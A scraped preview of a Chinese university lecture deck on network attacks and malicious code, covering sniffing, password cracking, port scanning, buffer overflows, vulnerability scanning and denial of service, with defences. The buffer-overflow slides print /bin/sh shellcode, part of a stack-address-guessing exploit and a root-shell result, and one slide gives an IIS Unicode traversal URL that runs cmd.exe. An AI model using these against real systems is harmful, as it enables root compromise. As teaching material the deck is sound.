网络安全 第八讲.ppt
《网络安全 第八讲.ppt》由会员分享,可在线阅读,更多相关《网络安全 第八讲.ppt(106页珍藏版)》请在三一办公上搜索。
1、网络攻击与恶意移动代码,提纲,网络攻击方法窃听口令破解端口扫描和信息收集缓冲区溢出漏洞扫描拒绝服务恶意移动代码计算机病毒网络蠕虫特洛伊木马其他恶意代码,窃听(sniffer),通过捕获网络上传输的数据包来收集敏感信息,包括用户名和密码、机密数据等。可以用来分析网络协议、查找网络故障在以太网上需要将网卡设置为混杂模式(promiscuous)常用工具:Linux:Tcpdump,Sniffit Windows:Network Monitor,sniffer,EtherealSolaris:snoop,Sniffer 的检测与防范,检测系统中的可疑的进程Unix:ps-aux,Windows Ct
2、rl+Alt+Del 任务列表检测系统中不断增长的数据文件检查网卡是否工作在混杂模式(promiscuous)L0ph 工具:安全的网络拓扑结构网络层加密IPSec传输层加密 SSL 应用层加密,如SSH,提纲,网络攻击方法窃听口令破解端口扫描和信息收集缓冲区溢出漏洞扫描拒绝服务恶意移动代码计算机病毒网络蠕虫特洛伊木马其他恶意代码,口令破解及防范,Unix/etc/passwd,/etc/shadow 文件格式,单项加密,候选口令产生器,字典,口令文件,口令加密,口令比较,输出匹配的口令,口令破解的防范,删除没有密码的账号要求用户定期更改口令使用复杂的口令,长度8个字符,包含数字和字符不使用字
3、典中的单词经常使用口令破解程序检查口令的强度改变Administrator账号禁止Administrator 和root 在控制台以外的地方登录,提纲,网络攻击方法窃听口令破解端口扫描和信息收集缓冲区溢出漏洞扫描拒绝服务恶意移动代码计算机病毒网络蠕虫特洛伊木马其他恶意代码,端口扫描和信息收集(续),信息收集使用下面的网络命令可以收集许多有用的信息Ping命令Tracert/traceroute命令nslookup,查找域名/IP地址,Tracert,C:tracert Tracing route to 166.111.4.100over a maximum of 30 hops:1 10 ms
4、 10 ms 10 ms 202.112.50.126 4 121 ms 80 ms 20 ms 202.112.38.70 5*90 ms 110 ms 166.111.255.221 7*Request timed out.Trace complete.,信息收集,Telnet、rusers、finger和host命令Telnet命令使用23端口登陆目标计算机上进入Shell状态。指定为其他端口可以观察到目标计算机在该端口上的输出,并可以在该端口输入命令。(如登陆110端口,就可以接受或删除邮件服务器上的邮件)rusers和finger收集目标计算机上的有关用户的消息,信息收集,finge
5、rrootcvs cgi-bin#finger wsqLogin:wsq Name:(null)Directory:/home/wsq Shell:/bin/bashNo mail.No Plan.host命令和标准nslookup查询相同,显示DNS域名解析经过的路由。,端口扫描和信息收集,端口扫描对入侵者来说,每一个端口就是一个入侵通道。对目标计算机进行端口扫描,能得到许多有用的信息,从而发现系统的安全漏洞。,端口扫描,使用扫描器探测主机的各种TCP端口,检查这些端口上提供的服务和版本号。扫描器通过枚举一系列TCP端口号,连接到目标主机上并记录目标主机的应答消息,可以收集到各种有关目标主机
6、的消息是否能匿名登陆,是否有可写ftp目录,是否可以telnet,httpd是在root还是在nobody的权限运行并不是直接的攻击,常用扫描技术,TCP connect扫描检测目标主机开了哪些端口。TCP SYN扫描发送syn包,然后发送rst包中断连接,不完成TCP三次握手,一般不会留下记录,发包需要root权限。TCP FIN扫描有些系统对syn包进行监视和记录,fin数据包可以通过而不留痕迹。但是有的系统实现下无法使用这种扫描。,常用扫描技术,IP分片扫描通过将数据包分成两个较小的IP数据包传输给目标主机,目标主机自己组成完整IP包。从而躲穿过火墙和包过滤器。TCP反向ident扫描i
7、dent协议(rfc 1413)允许通过TCP连接列出任何进程的拥有者的用户名,所以扫描器可以观察httpd是否是以root权限运行。,常用扫描技术,UDP端口扫描对端口发送UDP连接请求,检查是否有ICMP_PORT_UNREACH包返回,不一定成功。UDP recvfrom()和write()扫描不必使用root权限,使用recvfrom()和write()的回应判断端口是否开放。ICMP端口扫描通过ping命令,只能判断网络上主机是否可以到达(且开机)。,端口扫描工具,strobe,TCP 端口扫描nmap,支持以下功能TCP connect()扫描ICMP echo(ping)扫描TC
8、P SYN扫描TCP FIN 扫描UDP扫描 操作系统识别,端口扫描和信息收集,操作系统识别通过telnet服务的标志来识别通过其他服务的标志来识别通过TCP/IP协议指纹来识别,提纲,网络攻击方法窃听口令破解端口扫描和信息收集缓冲区溢出漏洞扫描拒绝服务恶意移动代码计算机病毒网络蠕虫特洛伊木马其他恶意代码,(一)、8086的寄存器结构,3.缓冲区溢出,攻击原理1)函数调用与堆栈,int main(int argc,char*argv)char buf80;strcpy(buf,argv1);,堆栈ESS:ESP,ESP,堆栈指针,1.调用函数之前2.调用main(),将参数argc,argv,
9、EIP压栈3.寄存器压栈,分配局部变量buf的缓冲4.读入buf数据5.退出,返回EIP所指地址,低,高,argv1,缓冲区溢出,2)利用堆栈溢出运行shell 由于gets,strcpy等函数没有对数组越界加以判断和控制,在上面程序中,读入的argv如果超过局部变量buf的声明大小80时,堆栈中保存的寄存器的值甚至返回地址EIP就会被覆盖。下面是strcpy命令的manual中对这个bug的说明:,堆栈ESS:ESP,低,高,argv1,ESP,$man strcpyBUGS If the destination string of a strcpy()is not large enough
10、(that is,if the programmer was stupid/lazy,and failed to check the size before copying)then anything might happen.Overflowing fixed length strings is a favourite cracker technique.,缓冲区溢出,这样,将前面的程序编译为vulnerable,并设置suid位。他就成了一个具有缓冲区溢出漏洞的程序。$ls l vulnerable-rwsr-xr-x 1 root root 13658 11月 21 17:57 vuln
11、erable,堆栈ESS:ESP,低,高,shellcode,ESP,在缓冲区中写入执行后可以运行shell的二进制机器码shellcode;其他位随意设置;EIP位设为shellcode的起点。,0 x0000,EIP,函数退出的时候,就会返回EIP作为返回地址,然后继续执行shellcode,shellcode有打开了一个shell,由于程序设置了suid位,所以打开的shell就是root shell,系统的root权限就得到了。,缓冲区溢出,如何编写shellcode?把以上程序反汇编,gcc,gdb,#include void main()char*name2;name0=“/bin
12、/sh”;name1=NULL;execve(name0,name,NULL);exit(0);,Char shellcode=xebx1fx5ex89x76x08x31xc0 x88x46x07x89x46x0cxb0 x0b x89xf3x8dx4ex08x8dx56x0cxcdx80 x31xdbx89xd8x40 xcd x80 xe8xdcxffxffxff/bin/sh;,如何把EIP 的值设为shellcode 的起点?Strcpy(buff,shellcode,0)设将要复制到buff 中的字符串为SSSSS00000A00.00S 为shellcode,A 为shellcod
13、e 在内存中的地址为提高命中率,将字符串调整为NNNSSSSSSSAAAAAA手工调整地址,堆栈ESS:ESP,低,高,shellcode,ESP,0 x0000,EIP,#define OFFSET 0#define RET_POSITION 1024 RANGE 20 unsigned char get_sp(void)_asm_(“mov%esp,%eax”);main(int argc,char argv*)char buff RET_POSITION+RANGE+1,*ptr;long addr;unsigned long sp;int offset=OFFSET,bsize=RET
14、_POSITION+RANGE+ALIGN+1;int i;if(argc1)offset=atoi(argv1);/*猜测入口的参数*/sp=get_sp();/*获得堆栈起始地址*/addr=sp-offset;/*计算shellcode 的实际地址*/for(i=0;ibsize;i+=4)*(long*),缓冲区溢出,输出结果:$./exploit如果不加参数,Jump to 0 xbfffec64 结果eip被修改,跳转到非法区域Segmentation fault$./exploit 500 参数500 就是对返回 之前esp的猜测值Jump to 0 xbfffea70跳转成功!
15、#whoamiroot得到root权限了!#,缓冲区溢出,windows2000下常常利用IIS的缓冲区溢出漏洞,使用同样的原理,构造一个超长的http请求,有漏洞的IIS不对其长度进行判断,而直接把全部字符送给相应的dll程序。攻击者通过覆盖EIP,重定向到自己的shellcode中去,从而执行任意命令。,提纲,网络攻击方法窃听口令破解端口扫描和信息收集缓冲区溢出漏洞扫描拒绝服务恶意移动代码计算机病毒网络蠕虫特洛伊木马其他恶意代码,系统和应用系统漏洞统计,系统漏洞增长趋势,常见的安全漏洞(Windows平台),W1-Unicode漏洞在URL中加入一个超长的Unicode序列,可绕过Micr
16、osoft的安全检查,可以在服务器上运行可执行文件。测试:http:/victim/scripts/.%c0%af./winnt/system32/cmd.exe?/c+dir+c:详细信息:影响系统安装了IIS 4.0、IIS 5.0,而没有安装Service Pack 2的Windows 2000 server。检查系统补丁工具:hfnetchk.exe解决方法打补丁 service Pack 2:http:/,常见的安全漏洞(Windows平台),W2 ISAPI 缓冲区扩展溢出 ISAPI用于扩展IIS的功能,idq.dll没有做合适的边界检查,它们不阻塞超长字符串。攻击者可以向DLL
17、发送数据,造成缓冲区溢出,进而控制IIS服务器。影响系统:Microsoft Index Server 2.0和Windows 2000中的Indexing Service。补丁:Windows NT 4.0:Windows 2000 Professional,Server and Advanced Server:Windows 2000 Datacenter Server:Windows 2000 Datacenter Server是基于硬件的,可以从设备生产商处获得。,常见的安全漏洞(Unix平台),U1-RPC 服务缓冲区溢出 影响的系统:Unix的大部分版本怎样确定你是否受影响:rpc
18、.ttdbserverd rpc.cmsd rpc.statd 防范关闭或删除这些服务 在路由或防火墙关闭RPC 端口(port 111)安装最新的补丁 http:/http:/更详细的文档见:,常见的安全漏洞(Unix平台),U2-Sendmail 漏洞 影响:大部分Unix版本;防范在不是邮件服务器和代理服务器上,不要 运行Sendmail。更新Sendmail到最新版本或安装相应的补丁文件.,常见的安全漏洞(Unix平台),U3-Bind 脆弱性 过期版本的Bind还存在缓冲区溢出的问题,攻击者可以用来获取未经授权的权限。根据1999年中期的调查,连接在Internet上的50的DNS服
19、务器运行的都是易受攻击的版本。影响:多个 UNIX and Linux 系统建议:在所有不是DNS服务器的机器上,取消BIND name daemon(称为 named).有些专家建议删除DNS软件。在被制定为DNS服务器的机器上升级到最新版本和补丁版本。采用下面的文章中的建议:NXT 漏洞:QINV(Inverse Query)和NAMED 漏洞:,常见的安全漏洞(Unix平台),LPD(remote print protocol daemon)影响系统:Solaris 2.6,2.7,8防范:补丁Sun如果对远程的打印处理不是必要的,在/etc/inetd.conf 中关闭打印设备。限制到
20、 port 515/tcp 的连接。,常见的安全漏洞(Unix平台),U6 sadmind and mountd Sadmind 允许远程登陆到Solaris 系统进行管理,Mountd 控制和判断到安装在UNIX主机上的NFS的连接。这些应用的缓冲区溢出能被攻击者利用获取root的存取权限。在直接与Internet连接的机器上关闭或者删除sadmind 和 mountd.安装最新的补丁http:/http:/http:/support,常见漏洞扫描,NSShttp:/Strobehttp:/SATANhttp:/NESSUShttp:/,漏洞扫描的原理,已知不同平台、不同操作系统/版本、不同
21、应用的漏洞;检查具有安全漏洞的服务是否存在攻击性测试:exploit,提纲,网络攻击方法窃听口令破解端口扫描和信息收集缓冲区溢出漏洞扫描拒绝服务恶意移动代码计算机病毒网络蠕虫特洛伊木马其他恶意代码,拒绝服务攻击,拒绝服务攻击(Deny Of Service)是一种广泛存在的系统攻击,其特点是使目标主机停止网络服务,而不是获取主机的控制权。DOS攻击常常在没有获得主机的任何帐号就可以进行,只有连在网络上的主机就有可能被攻击。主要手段是耗尽以下电脑资源:web服务器允许的最多请求数系统磁盘空间网络带宽进程内存空间CPU处理能力、处理队列,teardrop攻击 正常IP包 teardrop包 较早的
22、Linux版本由于计算时没有检查这种错误情况,得到的第二个分段长度小于0,使用memcpy函数时将数据拷贝到内核中。,拒绝服务攻击,OOB攻击 利用Windows95/NT下的NETBIOS网络协议对带外数据处理(OOB,out of band)的漏洞,将一个包以OOB的方式,发送到某个端口上(通常是139,138,137,113),就可能使系统突然死机。,拒绝服务攻击,smurf攻击广播信息可以发送到整个网络中的机器;主机收到ICMP echo请求包时,会自动回应ICMP应答包;smurf攻击使用被攻击者的IP地址,伪造ICMP echo广播包,发送给成百上千台计算机;然后这些计算机都会按照
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 网络安全 第八讲 第八

链接地址:https://www.31ppt.com/p-6335047.html